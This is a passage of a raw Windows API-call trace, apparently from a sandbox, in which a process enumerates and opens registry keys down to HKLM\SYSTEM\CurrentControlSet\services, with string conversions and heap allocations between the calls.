RegEnumKeyW (in: hKey=0x140, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0191.089] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0191.090] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0191.090] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0191.090] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0191.090] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0191.090] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0191.090] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0191.090] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0191.091] RegOpenKeyExW (in: hKey=0x140, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0191.091] RegCloseKey (hKey=0x140) returned 0x0 [0191.091] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0191.091] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.091] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.091] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0191.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.091] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.092] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.092] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.092] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0191.092] RegCloseKey (hKey=0x80000002) returned 0x0 [0191.092] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.092] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0191.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.093] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.093] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.093] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.093] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.093] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0191.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.094] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.094] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.094] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0191.094] RegCloseKey (hKey=0x9c) returned 0x0 [0191.094] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.094] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.094] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0191.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.095] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.095] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0191.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0191.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.095] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, 